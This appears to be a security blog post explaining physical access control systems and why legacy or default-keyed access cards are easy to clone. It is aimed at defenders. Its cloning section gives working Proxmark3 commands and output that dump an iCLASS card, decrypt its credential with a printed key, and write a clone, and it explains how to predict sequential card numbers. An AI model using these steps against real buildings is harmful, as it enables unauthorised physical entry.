Blog: Hardware Hacking
How easily access cards can be cloned and why your PACS might be vulnerable
TL;DR
- Access cards can be cloned
- There are practical measures to make card cloning difficult
- Practical guidance on how these systems work and why you should make sure they’re configured right
What is a physical access control system?
A physical access control system, or PACS, is the system that opens the door when you scan your identity card or smart phone app on a reader. It’s the system that understands who should have access, to where in your building and “should” stop people being able to just walk in off the street.
Typically everyone in an organisation has an identity card, or something similar like a little fob. When they want to gain access to a secure area, they swipe this on the reader and the door will open. This is great in practice as it helps an organisation to pin down who should be where in a building, allows tracking of past movements for security events, and can even indicate where people are in an emergency situation (such as a fire alarm).
How do PACS work?
When your card or fob (I’ll call them tokens from now on) is read, power is induced into that token, as they typically don’t have their own power source, like a battery. The reader actually powers up the token at a distance.
The token and the reader then proceed to have a conversation and exchange details. Some with no security measures whatsoever and some with really good measures; it’s generally all dependent on the token.
Your token is effectively your password to your building, and that token secures the password from being read by just anyone, or at least it should (more on that later).
The components of PACS
A PACS is made up of:
- The token – The bit that people carry around
- The readers – The bit that on the wall you swipe against to open the door
- The controller/ACU (Access Control Unit) – This is usually a box on the wall on the inside of the door
- A server – This controls who and what can enter where and when
We’ve spoken about the tokens and readers, but the controller and server help bring it all together.
The controller connects the reader with the server, deciding when to unlock the door. This is usually just a box on the wall, and no one ever really pays attention to it (other than me with my weird obsession with these systems). These boxes are in control of one or more doors, and usually pretty close to them all. This is usually in the form of a custom circuit board and a bunch of relays; you can usually hear it click when it unlocks the door.
This server will typically have a database, and in this will be everyone’s token details and their access groups. I like to think of this server as a sort of “domain controller” for the building, and it should be secured the same way. While this is the case, so many times I have seen these systems on a desktop pc under the receptionist’s desk in the public area, or in one case, in the cleaner’s breakroom in the car park.
What does an attacker care about?
In terms of stopping someone walking into your building, the only parts an attacker will typically care about, are the tokens and the readers. The readers are public knowledge, they’re on the outside of your building. We often use online maps such as Google Street view to see these without even stepping foot near the building.
There are many different token technologies out there, but luckily, a reader will only ever read a small subset of these, and publicly accessible datasheets exist. An attacker will first want to identify your reader, then try to identify exactly what token technology you are using.
Below is an example of a well-known Paxton reader and the token compatibility listed.
There are tokens that are much more likely to be in use for each system, as these are what the third-party installation companies will primarily sell, as they “just work”, these are rarely the most secure without further configuration.
What makes a bad system?
So earlier I spoke about the “conversation” the reader and the token have when your present your token to the reader, this conversation can (and should) be encrypted. This encryption is controlled by your encryption key, which can be the default that comes with the system, or a custom one for your building.
By the wording alone, it’s not hard to understand how the default key would be bad, but a lot of the most commonly available older systems don’t even implement encryption at all.
Most of these systems are considered legacy, but by the nature of these systems, they are usually installed and not touched for 20 years because they just work. Would you not patch or change your cyber security defences for 20 years and expect them to still be secure?
One such system that long been considered insecure but still used, is HID Prox. Here’s is a simple diagram of how this system works:
When the token is powered by the reader, it starts sending the authentication data, simple as that.
Any reader that is compatible with HID Prox can read the authentication data (password) off the token, and there is currently nothing you can do to make this technology more secure. And thanks to people not wanting to lean too far out of their car at car parks, “long range” readers exist, capable of reading these tokens at a foots range in an instant.
Put this in a backpack with a small computer, hooked up to a battery, and you have a simple weaponised reader capable of stealing tokens at a store near you.
So what makes this system bad is the fact that the token cannot support encryption to secure the authentication data held on the token.
What makes a good system?
But it’s not all bad. These systems can be made incredibly secure with some investment in the right places and configuration that really matters.
When a secure token is read by a reader, they first need to make sure they both have the same encryption key, and they do this with a handshake. All technologies do this slightly different, but in general, it goes like this:
The token and reader will send a string of data and ensure they both know the same encryption key, before they begin to send their authentication data. This encryption key is what an attacker needs to read your token.
Luckily in a large number of systems (not all), you can set this key to something custom, which means the attacker won’t know it. Now there are some systems, where this key can be extracted from the reader, but these are rare.
So if you have a custom encryption key set, it makes it REALLY impractical to clone your tokens. Now nothing is impossible, but the attacks for this are very intrusive, and you will probably notice them happening when someone rips your reader off the wall and runs off with it.
What makes a good system bad?
So a good system uses encryption and a custom key. The bad news is most systems also have default encryption keys, that are preloaded onto all of their readers and tokens at manufacture. Even the most secure technologies on the market are guilty of this.
An example of this, HID SEOS, which is capable of being incredible secure with some great security features. Unless you don’t use a custom encryption key.
Even these tokens can be read at a distance of 30 cm or so, using long range readers like the HID R90 SE reader.
This reader will read a bunch of tokens at a good enough range to read them in a nearby supermarket again, much like the HID Prox tokens above. The only difference is this will read tokens that support encryption with the default key.
For some technologies, this key has been leaked online, and some are only known to very small groups of people, with no plan to leak them and watch the world burn. Unfortunately, most of the time you don’t need to know the key, just be in control of something that does, like a HID R90 reader.
Cloning cards
Cloning a card or token is simple, as long as you know how the authentication data is secured (if at all).
I’ll go over an old legacy technology, HID iCLASS, which has had a leaked key for years, and is widely known to be insecure now. (However it is still used and installed in new buildings) This can be trivially read with a lot of tools, either by using a long range reader like an R90, or an open-source tool such as a Proxmark3.
This tool is the Swiss army knife of RFID hacking and research, and a HUGE amount of work has been done by one particular contributor Iceman and the RFID research community on it over the years.
Cloning a token like iCLASS has been made really easy, and the encryption key is now even built into the client for Proxmark3, you don’t even need to know it.
The below command targeting iCLASS using the Proxmark3 tool and the encryption key in index location 0 (–ki 0), built into the Proxmark3 client. to dump the card’s entire contents.
[usb] pm3 --> hf iclass dump --ki 0 [+] Using AA1 (debit) key[0] AE A6 84 A6 DA B2 32 78 [=] Card has at least 2 application areas. AA1 limit 18 (0x12) AA2 limit 31 (0x1F) . [=] --------------------------- Tag memory ---------------------------- [=] block# | data | ascii |lck| info [=] ---------+-------------------------+----------+---+---------------- [=] 0/0x00 | 96 D1 57 10 FE FF 12 E0 | ..W..... | | CSN [=] 1/0x01 | 12 FF FF FF 7F 1F FF 3C | .......< | | Config [=] 2/0x02 | E0 FE FF FF FF FF FF FF | ........ | | E-purse [=] 3/0x03 | 71 A4 E1 21 62 1A 16 37 | q..!b..7 | | Debit [=] 4/0x04 | FF FF FF FF FF FF FF FF | ........ | | Credit [=] 5/0x05 | FF FF FF FF FF FF FF FF | ........ | | AIA [=] 6/0x06 | 03 03 03 03 00 03 E0 17 | ........ | | User / HID CFG [=] 7/0x07 | EC C9 43 AB C3 14 0F C3 | ..C..... | | User / Enc Cred [=] 8/0x08 | 2A D4 C8 21 1F 99 68 71 | *..!..hq | | User / Enc Cred [=] 9/0x09 | 2A D4 C8 21 1F 99 68 71 | *..!..hq | | User / Enc Cred [=] 10/0x0A | FF FF FF FF FF FF FF FF | ........ | | User [=] 11/0x0B | FF FF FF FF FF FF FF FF | ........ | | User [=] 12/0x0C | FF FF FF FF FF FF FF FF | ........ | | User [=] 13/0x0D | FF FF FF FF FF FF FF FF | ........ | | User [=] 14/0x0E | FF FF FF FF FF FF FF FF | ........ | | User [=] 15/0x0F | FF FF FF FF FF FF FF FF | ........ | | User [=] 16/0x10 | FF FF FF FF FF FF FF FF | ........ | | User [=] 17/0x11 | FF FF FF FF FF FF FF FF | ........ | | User [=] 18/0x12 | FF FF FF FF FF FF FF FF | ........ | | User [=] ---------+-------------------------+----------+---+---------------- [?] yellow = legacy credential [+] saving dump file - 19 blocks read [+] Saved 152 bytes to binary file `/home/rfid/hf-iclass-96D15710FEFF12E0-dump-003.bin` [+] Saved to json file `/home/rfid/hf-iclass-96D15710FEFF12E0-dump-003.json` [?] Try `hf iclass decrypt -f` to decrypt dump file [?] Try `hf iclass view -f` to view dump file
With this we can write it to another token or decode it to work out what your authentication data actually looks like.
Authentication data on tokens is usually in the form of Facility code (FC) and card number (CN), where everyone will have the same FC but a different CN. And most alarmingly, the CN is usually sequential, and as tokens (cards) are purchased in boxes of 100, if an attacker can clone one token, they may be able to predict 100 tokens you’ve probably handed out to your staff members.
So to work this out, we take block number 7 for iCLASS (other token technologies differ) and decrypt it with what’s called the “transport key”.
[usb] pm3 --> hf iclass decrypt -d ECC943ABC3140FC3 -k B4212CCAB7ED210F7B93D45939C7DD36 [+] encrypted... ECC943ABC3140FC3 [+] plain....... 0000000004C8F4D3
So now we have the authentication data decrypted, we can decode it and figure out what format the data is using.
[usb] pm3 --> wiegand decode --raw 0000000004C8F4D3 [+] [H10301 ] HID H10301 26-bit FC: 100 CN: 31337 parity ( ok ) [+] [ind26 ] Indala 26-bit FC: 1607 CN: 2665 parity ( ok ) [=] found 2 matching formats
Now we have the decrypted version of the authentication data, we can write this to a token to encrypting it with the same encryption key or predict more tokens you may be using.
Card number cloned – 31337 Potential card numbers on system – 31301 > 31400
[usb] pm3 --> hf iclass encode -w h10301 --fc 100 --cn 31337 --ki 0 [+] Using key[0] AE A6 84 A6 DA B2 32 78 [+] Loaded 16 bytes from binary file `iclass_decryptionkey.bin` [+] Write block 6/0x06 ( ok ) --> 030303030003E017 [+] Write block 7/0x07 ( ok ) --> ECC943ABC3140FC3 [+] Write block 8/0x08 ( ok ) --> 2AD4C8211F996871 [+] Write block 9/0x09 ( ok ) --> 2AD4C8211F996871
Conclusion
PACS can be bad, but also good if you configure them right. These systems protect your building, and control access to your most sensitive systems. Give them some love.
I’ve also written a comprehensive top 5 guide to help you make sure your PACS is secure.
